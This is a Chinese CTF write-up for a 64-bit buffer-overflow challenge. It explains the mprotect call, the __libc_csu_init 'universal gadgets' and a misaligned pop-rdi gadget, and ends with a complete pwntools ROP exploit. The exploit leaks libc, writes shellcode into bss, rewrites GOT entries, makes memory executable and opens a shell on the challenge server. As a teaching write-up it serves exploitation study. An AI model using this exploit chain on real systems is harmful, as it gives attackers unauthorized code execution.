mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。
mprotect()
函数
在Linux中,mprotect()
函数可以用来修改一段指定内存区域的保护属性。mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
int mprotect(const void *start, size_t len, int prot);
port:(读4,写2,执行1)
由于64位下函数传参前六个参数依次保存在RDI, RSI, RDX, RCX, R8 和 R9 下,而一般不存在有关rdx的gadgets。
在学习了大佬的wp后学到了利用__libc_csu_init
的通用gadgets。
通用gadgets __libc_csu_init
的使用。
__libc_csu_init
函数是程序调用libc库用来对程序进行初始化的函数,一般先于main函数执行。
下面是__libc_csu_init
函数的汇编代码。
.text:0000000000400650
.text:0000000000400650 ; =============== S U B R O U T I N E =======================================
.text:0000000000400650
.text:0000000000400650
.text:0000000000400650 ; void _libc_csu_init(void)
.text:0000000000400650 public __libc_csu_init
.text:0000000000400650 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400650 push r15
.text:0000000000400652 mov r15d, edi
.text:0000000000400655 push r14
.text:0000000000400657 mov r14, rsi
.text:000000000040065A push r13
.text:000000000040065C mov r13, rdx
.text:000000000040065F push r12
.text:0000000000400661 lea r12, __frame_dummy_init_array_entry
.text:0000000000400668 push rbp
.text:0000000000400669 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670 push rbx
.text:0000000000400671 sub rbp, r12
.text:0000000000400674 xor ebx, ebx
.text:0000000000400676 sar rbp, 3
.text:000000000040067A sub rsp, 8
.text:000000000040067E call _init_proc
.text:0000000000400683 test rbp, rbp
.text:0000000000400686 jz short loc_4006A6
.text:0000000000400688 nop dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 mov rdx, r13
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
.text:0000000000400699 call qword ptr [r12+rbx*8]
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6 add rsp, 8
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp
.text:00000000004006B4
.text:00000000004006B4 ; ---------------------------------------------------------------------------
__libc_csu_init
其中两端特殊的gadget可以给我们利用。
gadget位于0x400690和0x4006AA两处。
0x4006AA处依次将参数存入寄存器rbx,rbp,r12,r13,r14,r15。
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
0x400690处依次将r13,r14,r15寄存器里的值放到rdx,rsi,edi处
.text:0000000000400690 mov rdx, r13
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
在这还隐藏了两段gadget,可以利用错位码来得到
如上的例子中0x4006B2、0x4006B4两句的字节码如下
0x41 0x5f 0xc3
意思是pop r15,ret
,但是恰好pop rdi,ret
的opcode如下
0x5f 0xc3
因此如果我们指向0x4006B3就可以获得pop rdi,ret
的opcode,从而对于单参数函数可以直接获得执行(涨姿势了)
实现
现在我们有了mprotect改data段到可执行,利用通用gadgets __libc_csu_init
传参,可以将shellcode写到bss段,调用mprotect修改bss段权限,然后执行shellcode拿到shell。
下面是exp:
from pwn import *
io = remote('pwn2.jarvisoj.com', 9884)
#io = process('../level3')
elf = ELF('../level3')
libc = ELF('../libc-2.19.so')
rop1 = 0x4006A6 #pop_rbx_rbp_r12_r13_r14_r15
rop2 = 0x400690 #mov rdx,r13; mov rsi,r14; mov edi,r15d
vul_fun = elf.symbols['vulnerable_function']
write_plt = elf.plt['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
libc_start = elf.got['__libc_start_main']
mprotect_got = elf.got["__gmon_start__"]
bss = elf.bss()
rdi = 0x4006b3
rsi_r15_ret = 0x4006b1
io.recv()
payload = 'a' * (0x80 + 0x8) + p64(rdi) + p64(1) + p64(rsi_r15_ret) + p64(read_got) + p64(0) + p64(write_plt) + p64(vul_fun)
# write(1,read_got,#) ret vul_fun
# 利用write函数泄露read函数的真实地址
io.sendline(payload)
read_addr = u64(io.recvn(8))
libc_base = read_addr - libc.symbols["read"]
mprotect_addr = libc_base + libc.symbols["mprotect"]
print "read_addr ==> "+hex(read_addr)
print "libc_base ==> "+hex(libc_base)
print "mprotect_addr ==> "+hex(mprotect_addr)
io.recv()
payload = 'a' * (0x80 + 0x8) + p64(rdi) + p64(0) + p64(rsi_r15_ret) + p64(bss) + p64(0) + p64(read_plt) + p64(vul_fun)
# read(0, bss, #) ret vul_fun
# 利用read函数向bss段写入数据
io.sendline(payload)
shellcode = asm(shellcraft.amd64.linux.sh(), arch="amd64")
io.send(shellcode)
# 向bss段写入shellcode
io.recv()
bss_got = elf.got["__libc_start_main"]
payload = 'a' * (0x80 + 0x8) + p64(rdi) + p64(0) + p64(rsi_r15_ret) + p64(bss_got) + p64(0) + p64(read_plt) + p64(vul_fun)
# read(0, bss_got, #) ret vul_fun
# 利用read函数把shellcode的bss段的地址读入到.got.plt段去
io.sendline(payload)
io.sendline(p64(bss))
io.recv()
mprotect_got = elf.got["__gmon_start__"]
payload = 'a' * (0x80 + 0x8) + p64(rdi) + p64(0) + p64(rsi_r15_ret) + p64(mprotect_got) + p64(0) + p64(read_plt) + p64(vul_fun)
# read(0, mprotect_got, #) ret vul_fun
# 利用read函数把mprotect的地址读入到.got.plt段去
io.sendline(payload)
io.sendline(p64(mprotect_addr))
payload = 'a' * (0x80 + 0x8) + p64(rop1) + "a" * 8 + p64(0) + p64(1) + p64(mprotect_got) + p64(7) + p64(0x1000) + p64(0x600000)
#rbx #rbp #r12 #r13 #r14 #r15
#rdx #rsi #edi
# pop_rbx_rbp_r12_r13_r14_r15_ret
payload += p64(rop2) + "a" * 8 + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0) + p64(rop2)
'''
mov rdx, r13
mov rsi, r14
mov edi, r15d
'''
# mprotect(0x600000,0x1000,7)
io.recv()
io.sendline(payload)
io.interactive()